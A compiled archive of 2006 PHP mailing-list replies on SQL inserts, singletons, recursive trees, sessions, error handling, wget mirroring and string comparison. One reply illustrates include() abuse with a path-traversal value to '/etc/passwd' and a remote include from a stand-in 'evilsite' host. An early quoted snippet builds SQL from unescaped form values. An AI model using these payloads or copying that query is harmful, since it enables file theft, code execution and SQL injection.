On Friday 07 July 2006 10:03, Janet Valade wrote: Actually, it doesn't matter what the indexes are when you use implode. Implode just puts the values into a string. Here's code that will work. $field_array = array_keys($fields_form); $fields = implode(,,$field_array); $values = implode(',',$fields_form); $query = INSERT INTO Table1 ($fields) VALUES (\$values\); $result = mysqli_query($cxn,$query); $fields_form is an associative array of all the fields to be entered into the database, with the field names as keys and the field values as values. This code quotes the values in the $values string in the query, as needed if the values are strings. It is slightly more complicated than that, since if the value is numeric and going into a numeric field, then it's not supposed to be quoted. (MySQL generally doesn't care, but some other databases may; I'm not certain.) I'm actually currently in the midst of getting this functionality added to the Drupal CMS. Feel free to look at the patch I've submitted[1]. It has some Drupal-isms in it, but for the most part is fairly clear. It also handles insert, update, and delete, too. [1] http://drupal.org/node/30334 -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] global class instance
It sounds like your only other option is a singleton, which works only if you're comfortable having only one instance of a, ever. The following code also only works in PHP 5. class A { static obj; static instance() { if (! self::obj instanceof A) { self::obj = new A(); } return self::obj; } } class B { function print() { $a = A::instance(); $a-print(); } } (Possibly a syntax error in the above, but hopefully you get the idea.) On Saturday 01 July 2006 04:56, sempsteen wrote: hi all, i wonder if there is a way of creating an instance of a class and reach it direcly from any scope in PHP4. basically what i want is: class a { function print() { echo 'sth'; } } $a = new a(); and use this a instance from anywhere ex, in a function that is a method of another class. class b { function print() { $a-print(); } } i don't want to: - declare global $foo, - use pre-defined $GLOBALS variable, - or use a::print thanks. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] global class instance
You can simulate singletons in PHP 4 as well. But you've just eliminated every option for accessing a non-local object inside a function. You've got 4 options. Pick one, but I'm fairly certain there is no magical 5th. :-) On Saturday 01 July 2006 13:02, sempsteen wrote: Thanks Larry but i'm working on PHP4. Also you don't use $a directly. Instead of writing $a = A::instance(); i can write: global $a both takes two steps which is not what i wanted. On 7/1/06, Larry Garfield [EMAIL PROTECTED] wrote: It sounds like your only other option is a singleton, which works only if you're comfortable having only one instance of a, ever. The following code also only works in PHP 5. class A { static obj; static instance() { if (! self::obj instanceof A) { self::obj = new A(); } return self::obj; } } class B { function print() { $a = A::instance(); $a-print(); } } (Possibly a syntax error in the above, but hopefully you get the idea.) On Saturday 01 July 2006 04:56, sempsteen wrote: hi all, i wonder if there is a way of creating an instance of a class and reach it direcly from any scope in PHP4. basically what i want is: class a { function print() { echo 'sth'; } } $a = new a(); and use this a instance from anywhere ex, in a function that is a method of another class. class b { function print() { $a-print(); } } i don't want to: - declare global $foo, - use pre-defined $GLOBALS variable, - or use a::print thanks. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] creating a threaded message system--sorting messages
On Friday 30 June 2006 07:19, Ben Liu wrote: Hi Larry, I've looked through the posts on the PHP general list going back about 3-6 weeks and can't find the thread you speak of. I searched by your name assuming that you posted into the thread and searched by the string recursive and recursion. If you could steer me to it in some other way (subject of the thread or subject word) I would appreciate it, but only if it is not too much trouble. I can take a go at it now that the basic approach is carved out: query once, recurse the data in PHP. Well I checked my Sent file and apparently it somehow got sent to just one person rather than the entire list. I HATE it when that happens. Here's a copy of it below. *sigh* -- Forwarded Message -- Subject: Re: [PHP] How do I make a HTML tree for a set of nodes? Date: Sunday 04 June 2006 12:38 From: Larry Garfield [EMAIL PROTECTED] To: [EMAIL PROTECTED] On Sunday 04 June 2006 11:27, Niels wrote: This sounds fine -- recursion is obviously the way to go. Where can I see your function? I tried several different solutions over the last couple of hours, and I've settled on only using indentation (like a nested ul/ul list), not a fancy graph with antialised branches. It's the simplest possible recursion but I like the results, even if it's a bit harder to grasp without connections clearly marked. function tree($nodes, $start, $indent=-30) { $indent+=30; global $tree; foreach ($nodes as $nodeID = $node) { if ($node['parent']!=$start) {continue;} $tree.=div style='margin-left:{$indent}px'{$node['name']}/div; tree($nodes, $nodeID, $indent); } return $tree; } Yep, you're on the right track here. If your tree is a directed acyclic graph (read: every node has at most one parent, and never loops back on itself), then it's quite easy to do with one SQL table and one SQL query. (Or similar, if you're not using SQL, but I've done this many times in SQL.) First, fetch a list of all nodes, in whatever sort order you want (say, alphabetical), ignoring the nesting. You want an array of records (an SQL result works, or an array of objects, or an array of arrays), where each record has at minimum its own ID and its parent ID (0 meaning it's a root node), and some sort of label. Then, starting at parentid=0, iterate over the list and process just those with that parent id. Process means, in this case, for example, to print out a list item with the name, save the current cursor, and call the function again recursively with the id of the active node as the new parent node. When you return, reset the cursor. The cursor stuff is so that you can pass the array by reference rather than by value and not waste a ton of memory. So the pseudo-code would look something like: function foo($nodes, $parentid) { reset($nodes); foreach ($nodes as $node) { if ($node's parent is $parent id) { $output .= li . $node (or whatever portion of it you want) . foo($nodes, $node's id) . /li; } } if ($output) return ul$output/ul; } $nodes = get_my_nodes(); $list = foo($nodes, 0); There's probably a small bug in the above somewhere since I haven't tested it, and it would vary a bit if you're operating on an SQL result directly, but that's the basic idea. The advantage is that you get HTML that is structurally representative of the relationship, as well as pre-styled for you by default by any browser. Thanks, Ben On Jun 30, 2006, at 12:05 AM, Larry Garfield wrote: I've written such a system before more than once. You do the sorting in SQL, and then traverse the data recursively in PHP to build the tree. It's a single SQL query. Check the archives for this list for about 3-4 weeks ago, I think. We were just discussing it, and I showed some basic code examples. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Multiple if() statements
On Thursday 29 June 2006 06:51, tedd wrote: At 8:15 PM -0400 6/28/06, Robert Cummings wrote: On Wed, 2006-06-28 at 20:02, David Tulloh wrote: Grae Wolfe - PHP wrote: ... want. Any help would be great! -snip- if/elseif -snip- holy war id=opinion Whenever you need a elseif, then it's time to consider a switch -- like thus: switch is fine if your elseif comparisons are equality based. If they're not equality based, then they don't map to switch as well. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] creating a threaded message system--sorting messages
On Thursday 29 June 2006 09:11, Ben Liu wrote: relevant data structure loosely: post_id (unique, autoincrement, primary index) parent_id (if the post is a child, this field contains the post_id of its parent) ... 1) Query the database for all messages under a certain topic, sort by parent_id then post_id 2) Somehow resort the data so that each group of children is directly after their parent. Do this in order of ascending parent_id. Can this be done with usort() and some programatic logic/algorithm? How do you sort groups of items together rather than comparing each array element to the next array element (ie: sorting one item at a time)? Should this be done with a recursive algorithm? Anyone with experience writing code for this type of message board, or implementing existing code? Thanks for any help in advance. - Ben I've written such a system before more than once. You do the sorting in SQL, and then traverse the data recursively in PHP to build the tree. It's a single SQL query. Check the archives for this list for about 3-4 weeks ago, I think. We were just discussing it, and I showed some basic code examples. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Preventing double-clicks APPEARS TO WORK FINE
On Mon, June 26, 2006 2:05 pm, John Meyer said: Jay Blanchard wrote: [snip] I am going to do some thinking (typing) out loud here because I need to come up with a solution to double-clicking on a form button issue. [/snip] Isn't there a javascript method that you could use to accomplish the same thing? Either that, or on the first click, you could disable that button. That would be the Javascript method to accomplish the same thing. :-) It's probably more efficient than a PHP-based solution, modulo the usual Javascript caveats (user can disable, etc.). --Larry Garfield -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] If statement question
On Monday 26 June 2006 13:10, Alex Major wrote: Hi list. Basically, I'm still learning new things about php and I was wondering if things inside an if statement get 'looked at' by a script if the condition is false. For example, would this mysql query get executed if $number = 0 ? If ($number == 1) { mysql_query($blah) } Nope. That's the definition of an if statement (conditional), in any language. If the text fails, the contents of the block never happen. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] New install platform
IME, any modern Linux distro will let you setup a viable Apache/PHP/MySQL configuration with a few clicks/commands in its package manager of choice. I am partial to Debian and Ubuntu, as that's where most of my experience is. And it's very easy to setup a barebones system that you just put LAMP on, which is good if you're hosting it as a virtual machine image. I would actually recommend against Red Hat, as their version numbers are all kinds of screwed up. (They will take an old version, patch it with all the changes to be the modern version, but leave the version number as the old one. So what they call PHP 4.3.9 is really PHP 4.3.11 or maybe 4.4.something, I don't know, I don't know if THEY know.) On Sunday 25 June 2006 09:08, Grae Wolfe - PHP wrote: It has become evident that I need some form of local testing environment so that I can figure out what is wrong with one of my $sql statements. Can anyone tell me what the easiest platform is to set up a PHP/MySQL system? I have a PC and a Mac on OS X, and with the use of VirtualPC I have the ability to load most flavors of Linux as well. I hate to have to go through this to test a single error, but if anyone can help with this, I would truly appreciate it. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Cookie Question
On Saturday 24 June 2006 09:51, John Meyer wrote: BTW, I have a question: which is the preferred way to handle variables on the client side: cookies or sessions? Or are there situations where one should be used and the other should be used in these other situations. If it's a variable that you want the user to be able to hold onto for days, weeks, or months at a time (such as a remember me function for blog comments, for example), then use cookies, but NEVER store a username or password, even encrypted, in a cookie. For everything else, use PHP's session handling, particularly the cookie-saved version. Remember, cookies are user-supplied data. That means it is not to be trusted. A session key is hard to hijack, or at least harder than it is to fake a non-random-key cookie. It's easier to hijack if it's in the URL GET string rather than a cookie. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] comparing a string
= is the assignment operator. It is not a comparison. == is the weak equality comparator. === is the strong equality comparator. On Tuesday 20 June 2006 06:43, Ross wrote: I have a quiz where the ansers are held in a array called $correct answers. When I compare the string if ($_REQUEST['x']= $correct_answers[$page-1]) { with a double == the answer is always correct with the single = it is always wrong. when I echo out the posted answer and the value from the answers arrray they are correct. echo post equals.$_POST['x']. corect answer is.$correct_answers[$page-1]; Ross -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Includes, Require, Location, Other
A couple of things. 1) Delay your output to the very end. That way you can still do page redirects and build whole new pages depending on the errors you get. 2) Store errors in the session, then when building the page have a place for put any error messages here, then delete them from the session. 3) Better yet, use PHP's set_error_handler() features to break out of the flow of the page completely when necessary. You can do a lot more error checking that way, and it makes the code cleaner to boot. 4) Structure your code so that you can't send malformed SQL in the first place. :-) If you're writing a static query, test it before it goes live (duh). If it's a dynamic query, structure it in such a way that it can't not be valid. (There's lots of ways do to that. I find arrays and implode() to work well for me.) At worst you'll return an empty result set, which is not an error but in fact a genuine situation you should be accounting for anyway. What you're doing below is really just a fancy version of mysql_query() or die, which I've always felt is very sloppy code. On Sunday 18 June 2006 10:33, Beauford wrote: Hi, If I were to have something like the following, what is the best way (or best practice) to reload the page and display the error - or is there a better way to do this. I want to keep the site uniform and don't want errors popping up and making a mess. Thanks B - $query = select idn, name from manager order by name; $results = mysql_query($query) or $mysqlerror = mysql_error(); if ($mysqlerror) { $error = $table_error$mysqlerror; include(season.php); - This is not what I really want and in some cases it cause problems. exit; } else { The rest of the code } -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: File Download Headers
On Friday 16 June 2006 08:10, Chris Shiflett wrote: Richard's example is the correct Content-Type to use. Barry's is no different than this: header('Content-Type: foo/bar'); It's better to use a valid type and to not have superfluous header() calls that do nothing. Hope that helps. Chris I think Richard's point, though, was that while it does nothing now, you have no way of knowing when it will start having meaning. Sending garbage headers is sloppy, and opens yourself up to the environment changing out from under you. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Seeking recommendations for use of include()
On Wednesday 14 June 2006 21:48, Dave M G wrote: Jochem, ::index.php ?php include $_GET['page']; ? Wouldn't strip_tags() eliminate the ?php ? tags that make this possible? No, because that's not what the hole is. YOUR CODE is include $_GET['page']. That's an easily exploitable hole, as explained. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Using PHP/HTML effectivly
On Thursday 15 June 2006 01:50, Richard Lynch wrote: I can guarantee that somebody on this list is going to be agahst at this recommendation of such a crude solution -- But it has served me well for a decade for SIMPLE WEB APPLICATIONS and is much less effort and more maintainable simply by scale/scope of code-base for SIMPLE WEB APPLICATIONS. If you're attempting to write the next Google or something on that scale, then this *IS* admittedly a horrible idea. For a beginner, however, you'll learn a lot more, a lot faster doing this than trying to stumble through some over-engineered monstrosity template library. Now I'd better really get out my flame-retardant undies. Another recommendation: Do not, under any circumstances, try to write your own template engine. All you'll be doing is writing a syntax parser in PHP for another syntax that will give you fewer options, less flexibility, and worse performance than well-used native PHP. There ARE good PHP based template engines out there (Smarty, Flexy, PHPTal, etc.), written by people much smarter than you or I and field tested by thousands of people on more sites than you've ever used. If you want to use a non-PHP-syntax for your template files, find one. Don't write it. You will thank yourself later. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] declaring a class as stdClass?
To answer both of you: $var = new stdClass(); is perfectly acceptable. I do it all the time. The caveat is that the behavior is slightly different in PHP 4 than PHP 5. In PHP 4, $var would behave exactly like an associative array, just with different funky characters to access its properties. Internally, in fact, they're represented the same. In PHP 5, $var would behave exactly like an associative array, EXCEPT when passing it as a parameter to a function. In PHP 4, objects pass by value by default. In PHP 5, they pass by reference by default. Also, yes, casting an object to an array or vice versa is much faster than manually iterating it. So: $var = (object)array('a'='foo', 'b'='bar', 'c'='baz'); Is perfectly acceptable. I've never tried casting to some other type of class, though. Give it a try and let us know how it goes. :-) On Wednesday 14 June 2006 13:26, D. Dante Lorenso wrote: Mariano Guadagnini wrote: Hi list, I hace an existencial doubt: i've seem many scripts declaring classes as stdClass. In the documentation (for PHP5 and also for 4), it says that this class is internal of php, and should't be used. By the manner I saw it's being used, i guess that it can be handy to create a 'generic' or so class, and append members when needed on the fly, without the need for a formal class declaration, but i could't find any good source explaining that. Has somebody some info about? Also, along the lines of this same question, I can do this in PHP very easily: ?php $data = array('apple' = 'red', 'banana' = 'yellow', 'plum' = 'purple'); $data = (object) $data; print_r($data); ? And my object is magically created for me as an instance of stdClass. Is there a way to cast as some other type of class? ?php $data = array('apple' = 'red', 'banana' = 'yellow', 'plum' = 'purple'); $data = (MyCustomClass) $data; print_r($data); ? I ask this because the cast in my first example, the (object) cast is WAY faster than using the manual approach of: ?php $data = array('apple' = 'red', 'banana' = 'yellow', 'plum' = 'purple'); $MYCLASS = new MyCustomClass(); foreach ($data as $key = $value) $MYCLASS-$key = $value; } ? Dante -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php-html rendering
On Tuesday 13 June 2006 07:22, Ryan A wrote: Hey, Thanks for the explanation of the switches. One part that I dont really understand is: blah?foo=bar links into [EMAIL PROTECTED] having a link such as [EMAIL PROTECTED] is not going to work to link to the second document...right? (I have not really tried it, but have never seen html like the above) Actually for me it didn't work until I did that conversion. You're not sending an actual variable query, remember. You're linking to a static file whose name on disk is [EMAIL PROTECTED], which is a valid filename, while blah?foo=bar is not (at least under Windows, although it didn't work for me under Unix either). And lastly, I read on another forum discussing wget that there is a switch that converts the dynamic pages to static WITH a .html/.htm extention; unfortunatly he didnt give an example of how to do this, was he just blowing smoke or is that true? man wget, and look for the -E option (aka --html-extension). -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php-html rendering
On Tuesday 13 June 2006 17:57, Ryan A wrote: Hey Larry, Thanks again, now i have around 3 different ways of doing this... can assure the client that all will be well, all depends now if the project is confirmed and given to us. But the info you gave me will serve me even if this project does not go through or i dont use wget for this project. Thanks for taking the time to explain the various switches, my doubts, different tips and being so helpful, i really appreciate it. Not a problem. Just remember to pay it forward. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Seeking recommendations for use of include()
On Tuesday 13 June 2006 21:17, Dave M G wrote: If there is some other way for them to exploit a dynamic include() function, then please let me know. $untrusted_var = '../../../../../../../etc/passwd'; include($untrusted_var); Or in later versions of PHP, I *think* the following may even work: $untrusted_var = 'http://evilsite.com/pub/evil.php'; include($untrusted_var); Now, having a variable inside an include() is not automatically bad. It can be a good way to make code cleaner and allow you to conditionally include certain libraries only when you need them. Just be very very careful about where those variables come from. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php-html rendering
wget -m -k http://www.yoursite.com/ Cheers. :-) -- Larry Garfield On Mon, June 12, 2006 10:54 am, Ryan A said: Hey all, heres the short explanation of what I am supposed to do, I need to render/convert the entire site to normal html pages so that it can be loaded onto a cd and given out. The good news is that the whole site has not yet been built so i can start from the ground up. I have a few ideas on how this can be done, ie the rendering php-html, but other than that...am pretty much lost. Does any class program exist that can help me do this? Ideas, input, linksanything, would be greatly appreciated. Thanks! Ryan P.S: If needed I can write a MUCH longer explanation detailing the site -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php-html rendering
On Monday 12 June 2006 17:08, Ryan A wrote: that said it could take a week to figure out all the parameters. ;-) Heck yeah... just been reading up on it... lots of stuff, who would think one little four letter word could do so much.oops, now thinking of another four letter word without whichnone of us would be here That's why I included the switches I did. :-) I had to do something very similar just last week. I needed to make a static snapshot of a site we built for a client using a CMS, so everything was dynamic. They needed a static snapshot to put on a laptop to take to a tradeshow. wget, with a wee bit of sed massaging, did the trick quite well. -m means mirror. That is, recurse to all links that don't leave the domain. It's for exactly this sort of task. -k tells it to convert links. That way if you have all absolute links in your HTML output, it will mutate them for you to stay within the local mirror you're creating. If you have GET queries in your pages (we did), then I recommend also using: --restrict-file-names=windows That will tell it to convert any blah?foo=bar links into [EMAIL PROTECTED], since the first is not a valid filename in Windows. I find that even on a Linux box, the latter works better. So your full command would be wget -m -k --restrict-file-names=windows http://www.example.com/ Start with that and see what you get, then refine as needed. If it's a big site, you may also want to use the --wait and --random-wait switches to avoid causing the web server to flip out. wget is one of those *nix command line utilities that's been around forever, does exactly one thing, but does it so amazingly well (once you realize how) that it renders about 50 commercial applications completely pointless. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: How to re-order an array
On Saturday 10 June 2006 21:08, jekillen wrote: You misunderstand my question. I know the limitations of javascript. The server won't respond to events registered in the browser. I write tons of forms that are all processed by the client with javascript. I have written ferocious regex filters that hack apart form submissions before they even leave the client. I have set it up so if the client doesn't have javascript enabled, the form won't submit if it is going to the server. That is why as much as possible I shift form processing to the client as much as possible, for security and to off load work to the client. I use php to dynamically write js files when necessary, anticipating what data will be requested. ...shift form processing to the client as much as possible, for security... Client-side security isn't. Your server has no way of telling if the data it's receiving is from a properly setup client that did the correct JS filtering, or if it's from someone writing as simple bot/script/program that's just sending GET and POST requests to you. Your PHP should never trust the client to be benign. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Update table to get consecutive Primary keys
On Thursday 08 June 2006 23:58, Antonio Bassinger wrote: Hi All! I've a MySQL table: table (id INT NOT NULL AUTO_INCREMENT, flag TINYINT NOT NULL, msgID VARCHAR(30) NOT NULL, msgName VARCHAR(30), size INT NOT NULL, PRIMARY KEY(id)); If I delete a row, say 5th, the id entries are 1 2 3 4 6 7 ... 10. I wish to keep entries consecutive, that is rearrange the table as 1 2 3 4 5 6 ... 9. How do I go about it? Thanks Regards, Antonio Simple. Don't. The whole point of having a numeric primary key is that it is both unique and constant. If you change the primary key, then you have to change every reference to it in every other table as well. You've just defeated the purpose of having a non-user-viewable primary key in the first place. You may as well just use the msgName field, save yourself a column in the database, and still have a huge problem with data integrity. As I said, don't do it. Stick with the numeric ID and don't change it. You gain nothing by re-naming your entire database. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] When is z != z ?
On Monday 05 June 2006 14:56, Martin Alterisio wrote: 2006/6/5, [EMAIL PROTECTED] [EMAIL PROTECTED]: This is just one of those cases where the designers had to make a judgement call on how things were going to operate. It makes sense if you look at the two things separately (incrementing vs string 'greatness' evaluation) and makes sense that how they chose to implement the functions are two valid choices among many ways that it could have been handled. How does it make sense? I don't understand your argument, can you explain it a little bit more? See Robert Cummings' post. and are being interpreted in this case for alphabetical order. Read as alphabetically before, and = as alphabetically before or string-equal to. Is a alphabetically before or string-equal to z? TRUE. Is b alphabetically before or string-equal to z? TRUE. ... Is z alphabetically before or string-equal to z? TRUE. (string-equal) Is aa alphabetically before or string-equal to z? TRUE. (a z alphabetically, the second character is never checked). Is ab alphabetically before or string-equal to z? TRUE. ... Is yz alphabetically before or string-equal to z? TRUE. Is za alphabetically before or string-equal to z? FALSE. (a alphabetically after NULL character. Bob is alphabetically before Bobby for the same reason.) See how the comparison works? It's a purely alphabetic comparison. As for the increment, it actually would never have occurred to me to ++ a string before this thread, honestly. :-) However, what it appears to be doing (and I'm sure Rasmus will correct me if I'm wrong) is using a string base instead of a numeric base. Thus a++ = b, b++=c, etc. z++ rolls over to the next digit (which because it's a string goes to the right rather than the left), and resets. So just as 9++ rolls over to 10, z rolls over to aa. Does that make more sense? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] When is z != z ?
On Monday 05 June 2006 21:12, Martin Alterisio wrote: As for the increment, it actually would never have occurred to me to ++ a string before this thread, honestly. :-) However, what it appears to be doing (and I'm sure Rasmus will correct me if I'm wrong) is using a string base instead of a numeric base. Thus a++ = b, b++=c, etc. z++ rolls over to the next digit (which because it's a string goes to the right rather than the left), and resets. So just as 9++ rolls over to 10, z rolls over to aa. Does that make more sense? You misunderstood me, I completely understand how the operators function, but you're saying it makes sense the way their functionality is assigned, what I want to know is the reasons you have that support those affirmations. I completely understand that string comparison is done alphabetically, but how does having the functionality for the ++ operator create a sequence that are inconsistent with the comparison operator, makes sense? Because defining ++ and and in such a way as to make them behave like numbers would have made them not work for alphabetizing. A string is a string, and comparison of strings is alphabetic (for some definition of alphabet). It's more useful to deal with strings as strings than to make them quack like numbers. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. 